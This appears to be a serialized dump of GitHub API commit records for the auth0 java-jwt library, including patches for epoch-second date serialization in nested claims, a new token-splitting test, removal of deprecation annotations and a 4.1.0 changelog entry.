usQzHqnV6BWHTRWrGrS3DXUzGA5Bcae/PhlWJSdDzxyuORu2j8109JdZoQsdpvud
ZfLQXhAUv/FwHFBQF+6hBS9P/Z4eSzVGKtsUeQJtt5+J0uFbVVVIOPj7qUGHwY+8
mU3qm2a8pq9VcdhpKzourIIPsGl4c/JMWvwV+rhLarPO+HMtjAcTss8ftYWZOs8=
=wdS3
-----END PGP SIGNATURE-----
payloadX  tree 08b0b7be1f3ab822f2373ba6684063896fdefaa7
parent 9245f49fea7bec9fec39e5a21af8a230987c2704
author Jim Anderson <jim.anderson@auth0.com> 1646410967 -0600
committer GitHub <noreply@github.com> 1646410967 -0600

[SDK-3150] Serialize dates in collections as seconds since epoch (#534)

* [SDK-3150] Serialize dates in collections as seconds since epoch

* cleanup tests

* Update javadocsuuj  \https://api.github.com/repos/auth0/java-jwt/commits/5c94325d6ca48532e1e13193e85a0eaec71c1ed6html_urlQhttps://github.com/auth0/java-jwt/commit/5c94325d6ca48532e1e13193e85a0eaec71c1ed6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}jÉ  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jŉ  3https://api.github.com/users/web-flow/subscriptionsjǉ  *https://api.github.com/users/web-flow/orgsjɉ  +https://api.github.com/users/web-flow/reposjˉ  6https://api.github.com/users/web-flow/events{/privacy}j͉  5https://api.github.com/users/web-flow/received_eventsjω  Userjщ  uparents]}(j  (9245f49fea7bec9fec39e5a21af8a230987c2704j  \https://api.github.com/repos/auth0/java-jwt/commits/9245f49fea7bec9fec39e5a21af8a230987c2704j  Qhttps://github.com/auth0/java-jwt/commit/9245f49fea7bec9fec39e5a21af8a230987c2704uastats}(totalKW	additionsKF	deletionsKufiles](}(j  (e2c22434aeb7751013dab193ec88a5549e09f641filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=5c94325d6ca48532e1e13193e85a0eaec71c1ed6patchXL  @@ -140,7 +140,8 @@ public Builder withAudience(String... audience) {
         }
 
         /**
-         * Add a specific Expires At ("exp") claim to the Payload.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param expiresAt the Expires At value.
          * @return this same Builder instance.
@@ -151,7 +152,8 @@ public Builder withExpiresAt(Date expiresAt) {
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload.
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param notBefore the Not Before value.
          * @return this same Builder instance.
@@ -162,7 +164,8 @@ public Builder withNotBefore(Date notBefore) {
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload.
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param issuedAt the Issued At value.
          * @return this same Builder instance.
@@ -254,7 +257,8 @@ public Builder withClaim(String name, String value) throws IllegalArgumentExcept
         }
 
         /**
-         * Add a custom Claim value.
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param name  the Claim's name.
          * @param value the Claim's value.u}(j  (9ec6dc89502da5c6b4c3902a5f35a1e9d85c8aecj  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedj  K$j  Kj  K)j  https://github.com/auth0/java-jwt/blob/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=5c94325d6ca48532e1e13193e85a0eaec71c1ed6j  X^  @@ -33,11 +33,7 @@ public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider
                 writeAudience(gen, e);
             } else {
                 gen.writeFieldName(e.getKey());
-                if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
-                    gen.writeNumber(dateToSeconds((Date) e.getValue()));
-                } else {
-                    gen.writeObject(e.getValue());
-                }
+                handleSerialization(e.getValue(), gen);
             }
         }
 
@@ -74,6 +70,41 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
         }
     }
 
+    /**
+     * Serializes {@linkplain Date} to epoch second values, traversing maps and lists as needed.
+     * @param value the object to serialize
+     * @param gen the JsonGenerator to use for JSON serialization
+     */
+    private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom date claims
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(j  (fe15f3db25c95a6d6ae4707d4b3b94e8c46140b4j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  K	j  Kj  Kj  https://github.com/auth0/java-jwt/blob/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=5c94325d6ca48532e1e13193e85a0eaec71c1ed6j  XA	  @@ -499,7 +499,7 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123L));
+        data.put("date", new Date(123000));
         data.put("boolean", true);
 
         // array types
@@ -529,13 +529,14 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("integer"), is(1));
         assertThat(map.get("long"), is(Long.MAX_VALUE));
         assertThat(map.get("double"), is(123.456d));
+
         assertThat(map.get("date"), is(123));
         assertThat(map.get("boolean"), is(true));
 
         // array types
-        assertThat(map.get("intArray"), is(Arrays.asList(new Integer[]{3, 5})));
-        assertThat(map.get("longArray"), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
-        assertThat(map.get("stringArray"), is(Arrays.asList(new String[]{"string"})));
+        assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
+        assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(map.get("stringArray"), is(Arrays.asList("string")));
 
         // list
         assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
@@ -553,7 +554,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123L));
+        data.add(new Date(123000));
         data.add(true);
 
         // array types
@@ -587,9 +588,9 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(5), is(true));
 
         // array types
-        assertThat(list.get(6), is(Arrays.asList(new Integer[]{3, 5})));
-        assertThat(list.get(7), is(Arrays.asList(new Long[]{Long.MAX_VALUE, Long.MIN_VALUE})));
-        assertThat(list.get(8), is(Arrays.asList(new String[]{"string"})));
+        assertThat(list.get(6), is(Arrays.asList(3, 5)));
+        assertThat(list.get(7), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(list.get(8), is(Arrays.asList("string")));
 
         // list
         assertThat(list.get(9), is(Arrays.asList("a", "b", "c")));u}(j  (df93f0bae4197d218e712faa73edf66c0e5d404ej  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://github.com/auth0/java-jwt/raw/5c94325d6ca48532e1e13193e85a0eaec71c1ed6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=5c94325d6ca48532e1e13193e85a0eaec71c1ed6j  X  @@ -176,15 +176,32 @@ public void shouldSerializeDatesUsingLong() throws Exception {
         claims.put("nbf", date);
         claims.put("exp", date);
         claims.put("ctm", date);
+        claims.put("map", Collections.singletonMap("date", date));
+        claims.put("list", Collections.singletonList(date));
+
+        Map<String, Object> nestedInMap = new HashMap<>();
+        nestedInMap.put("list", Collections.singletonList(date));
+        claims.put("nestedInMap", nestedInMap);
+
+        List<Object> nestedInList = new ArrayList<>();
+        nestedInList.add(Collections.singletonMap("nested", date));
+        claims.put("nestedInList", nestedInList);
+
         ClaimsHolder holder = new ClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         String json = writer.toString();
+        System.out.println(json);
+
         assertThat(json, containsString("\"iat\":2147493647"));
         assertThat(json, containsString("\"nbf\":2147493647"));
         assertThat(json, containsString("\"exp\":2147493647"));
         assertThat(json, containsString("\"ctm\":2147493647"));
+        assertThat(json, containsString("\"map\":{\"date\":2147493647"));
+        assertThat(json, containsString("\"list\":[2147493647]"));
+        assertThat(json, containsString("\"nestedInMap\":{\"list\":[2147493647]}"));
+        assertThat(json, containsString("\"nestedInList\":[{\"nested\":2147493647}]"));
     }
 
     @Testueu(8c24018f7606a7452e98624e21176739d092dc4c}(sha(8c24018f7606a7452e98624e21176739d092dc4cnode_idEC_kwDOAQtL0doAKDhjMjQwMThmNzYwNmE3NDUyZTk4NjI0ZTIxMTc2NzM5ZDA5MmRjNGMcommit}(author}(name
Noel Troutemailnoel.trout@avinode.comdate2022-10-07T07:11:39Zu	committer}(j   
Noel Troutj"  noel.trout@avinode.comj$  2022-10-07T07:11:49Zumessage$Added missing test case for no partstree}(j  (2f9ae0fac1839eb86f714053ac332f717b1eb718url^https://api.github.com/repos/auth0/java-jwt/git/trees/2f9ae0fac1839eb86f714053ac332f717b1eb718uj0  `https://api.github.com/repos/auth0/java-jwt/git/commits/8c24018f7606a7452e98624e21176739d092dc4c
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj0  \https://api.github.com/repos/auth0/java-jwt/commits/8c24018f7606a7452e98624e21176739d092dc4chtml_urlQhttps://github.com/auth0/java-jwt/commit/8c24018f7606a7452e98624e21176739d092dc4ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8c24018f7606a7452e98624e21176739d092dc4c/commentsj  }(loginnoetroidJOP&j  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j0  #https://api.github.com/users/noetroj<  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj&  }(jA  noetrojC  JOP&j  MDQ6VXNlcjE5Mjg4MTQzjE  4https://avatars.githubusercontent.com/u/19288143?v=4jG  h3j0  #https://api.github.com/users/noetroj<  https://github.com/noetrojJ  -https://api.github.com/users/noetro/followersjL  :https://api.github.com/users/noetro/following{/other_user}jN  3https://api.github.com/users/noetro/gists{/gist_id}jP  :https://api.github.com/users/noetro/starred{/owner}{/repo}jR  1https://api.github.com/users/noetro/subscriptionsjT  (https://api.github.com/users/noetro/orgsjV  )https://api.github.com/users/noetro/reposjX  4https://api.github.com/users/noetro/events{/privacy}jZ  3https://api.github.com/users/noetro/received_eventsj\  Userj^  uparents]}(j  (3940358fa90dd96bc6a78d94f8ccbe72a512f658j0  \https://api.github.com/repos/auth0/java-jwt/commits/3940358fa90dd96bc6a78d94f8ccbe72a512f658j<  Qhttps://github.com/auth0/java-jwt/commit/3940358fa90dd96bc6a78d94f8ccbe72a512f658uastats}(totalK
	additionsK		deletionsKufiles]}(j  (01806ddcdd53b5201ba6c67432aab08a60a59440filename3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javastatusmodifiedjx  K	jy  KchangesK
blob_urlhttps://github.com/auth0/java-jwt/blob/8c24018f7606a7452e98624e21176739d092dc4c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/8c24018f7606a7452e98624e21176739d092dc4c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=8c24018f7606a7452e98624e21176739d092dc4cpatchX  @@ -70,7 +70,15 @@ public void shouldThrowOnSplitTokenWithMoreThan3Parts() {
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithLessThan3Parts() {
+    public void shouldThrowOnSplitTokenWithNoParts() {
+        exception.expect(JWTDecodeException.class);
+        exception.expectMessage("The token was expected to have 3 parts, but got 0.");
+        String token = "notajwt";
+        TokenUtils.splitToken(token);
+    }
+
+    @Test
+    public void shouldThrowOnSplitTokenWith2Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String token = "two.parts";uau(ca9e1da23e8bc9cf61d64888360a36dfdca40b76}(sha(ca9e1da23e8bc9cf61d64888360a36dfdca40b76node_idEC_kwDOAQtL0doAKGNhOWUxZGEyM2U4YmM5Y2Y2MWQ2NDg4ODM2MGEzNmRmZGNhNDBiNzYcommit}(author}(name	poovamrajemailpoovamraj@gmail.comdate2022-03-13T17:01:34Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-16T11:18:14Zumessage?Remove deprecation notice for single key algorithm constructiontree}(j  (5d97c8a5b98c9ec30a45f42a0b678438735abfceurl^https://api.github.com/repos/auth0/java-jwt/git/trees/5d97c8a5b98c9ec30a45f42a0b678438735abfceuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/ca9e1da23e8bc9cf61d64888360a36dfdca40b76
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/ca9e1da23e8bc9cf61d64888360a36dfdca40b76html_urlQhttps://github.com/auth0/java-jwt/commit/ca9e1da23e8bc9cf61d64888360a36dfdca40b76comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ca9e1da23e8bc9cf61d64888360a36dfdca40b76/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}jÊ  6https://api.github.com/users/poovamraj/gists{/gist_id}jŊ  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jǊ  4https://api.github.com/users/poovamraj/subscriptionsjɊ  +https://api.github.com/users/poovamraj/orgsjˊ  ,https://api.github.com/users/poovamraj/reposj͊  7https://api.github.com/users/poovamraj/events{/privacy}jϊ  6https://api.github.com/users/poovamraj/received_eventsjъ  Userjӊ  uparents]}(j  (fef3ccf0e03b4557faa110432466c631c0cc3fffj  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffj  Qhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffuastats}(totalK	additionsK 	deletionsKufiles]}(j  (6fec5b71842936d692b6c1fbe7ae62fab4a308e6filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/ca9e1da23e8bc9cf61d64888360a36dfdca40b76/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/ca9e1da23e8bc9cf61d64888360a36dfdca40b76/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=ca9e1da23e8bc9cf61d64888360a36dfdca40b76patchX  @@ -48,9 +48,7 @@ public static Algorithm RSA256(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated use {@link #RSA256(RSAPublicKey, RSAPrivateKey)} or {@link #RSA256(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA256(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -86,9 +84,7 @@ public static Algorithm RSA384(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA384(RSAPublicKey, RSAPrivateKey)} or {@link #RSA384(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA384(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -124,9 +120,7 @@ public static Algorithm RSA512(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA512(RSAPublicKey, RSAPrivateKey)} or {@link #RSA512(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -253,9 +247,7 @@ public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA256(ECPublicKey, ECPrivateKey)} or {@link #ECDSA256(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA256(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -291,9 +283,7 @@ public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA384(ECPublicKey, ECPrivateKey)} or {@link #ECDSA384(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA384(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -329,9 +319,7 @@ public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA512(ECPublicKey, ECPrivateKey)} or {@link #ECDSA512(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;uau(f951dedea930d4a9452e1ef9e0bab43d6a347bec}(sha(f951dedea930d4a9452e1ef9e0bab43d6a347becnode_idEC_kwDOAQtL0doAKGY5NTFkZWRlYTkzMGQ0YTk0NTJlMWVmOWUwYmFiNDNkNmEzNDdiZWMcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-06T18:47:56Zu	committer}(j
  Jim Andersonj  jimranderson@gmail.comj  2022-10-06T18:47:56Zumessage
Release 4.1.0tree}(j  (682d7fdcf7cff6a22c4ca7e31957901d7dba7ce4url^https://api.github.com/repos/auth0/java-jwt/git/trees/682d7fdcf7cff6a22c4ca7e31957901d7dba7ce4uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/f951dedea930d4a9452e1ef9e0bab43d6a347bec
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/f951dedea930d4a9452e1ef9e0bab43d6a347bechtml_urlQhttps://github.com/auth0/java-jwt/commit/f951dedea930d4a9452e1ef9e0bab43d6a347beccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f951dedea930d4a9452e1ef9e0bab43d6a347bec/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj&  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j+  
jimmyjamesj-  J7 j  MDQ6VXNlcjI3NjIyNQ==j/  2https://avatars.githubusercontent.com/u/276225?v=4j1  h3j  'https://api.github.com/users/jimmyjamesj&  https://github.com/jimmyjamesj4  1https://api.github.com/users/jimmyjames/followersj6  >https://api.github.com/users/jimmyjames/following{/other_user}j8  7https://api.github.com/users/jimmyjames/gists{/gist_id}j:  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j<  5https://api.github.com/users/jimmyjames/subscriptionsj>  ,https://api.github.com/users/jimmyjames/orgsj@  -https://api.github.com/users/jimmyjames/reposjB  8https://api.github.com/users/jimmyjames/events{/privacy}jD  7https://api.github.com/users/jimmyjames/received_eventsjF  UserjH  uparents]}(j  (37c262de2e6709e93ee4bc0b927ec6e729621256j  \https://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256j&  Qhttps://github.com/auth0/java-jwt/commit/37c262de2e6709e93ee4bc0b927ec6e729621256uastats}(totalK	additionsK	deletionsKufiles](}(j  (04796fd76fbdf8e454f28ec430963aa334820caafilenameCHANGELOG.mdstatusmodifiedjb  Kjc  K changesKblob_url\https://github.com/auth0/java-jwt/blob/f951dedea930d4a9452e1ef9e0bab43d6a347bec/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/f951dedea930d4a9452e1ef9e0bab43d6a347bec/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=f951dedea930d4a9452e1ef9e0bab43d6a347becpatchX  @@ -1,5 +1,26 @@
 # Change Log
 
+## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
+
+**⚠️ BREAKING CHANGES**
+- Make JWT constants final values [\#604](https://github.com/auth0/java-jwt/pull/604) ([poovamraj](https://github.com/poovamraj))
+
+**Added**
+- Add integration with our Shipping orb [\#612](https://github.com/auth0/java-jwt/pull/612) ([frederikprijck](https://github.com/frederikprijck))
+- Add Ship CLI support [\#609](https://github.com/auth0/java-jwt/pull/609) ([jimmyjames](https://github.com/jimmyjames))
+- Provide straightforward example for JWKS [\#600](https://github.com/auth0/java-jwt/pull/600) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- Update to gradle 6.9.2 [\#608](https://github.com/auth0/java-jwt/pull/608) ([jimmyjames](https://github.com/jimmyjames))
+- Update OSS plugin to latest [\#607](https://github.com/auth0/java-jwt/pull/607) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3466] Upgrade Codecov [\#595](https://github.com/auth0/java-jwt/pull/595) ([evansims](https://github.com/evansims))
+- Update README.md [\#590](https://github.com/auth0/java-jwt/pull/590) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- Check for null token before splitting [\#606](https://github.com/auth0/java-jwt/pull/606) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3816] Update docs for verification thread-safety [\#605](https://github.com/auth0/java-jwt/pull/605) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
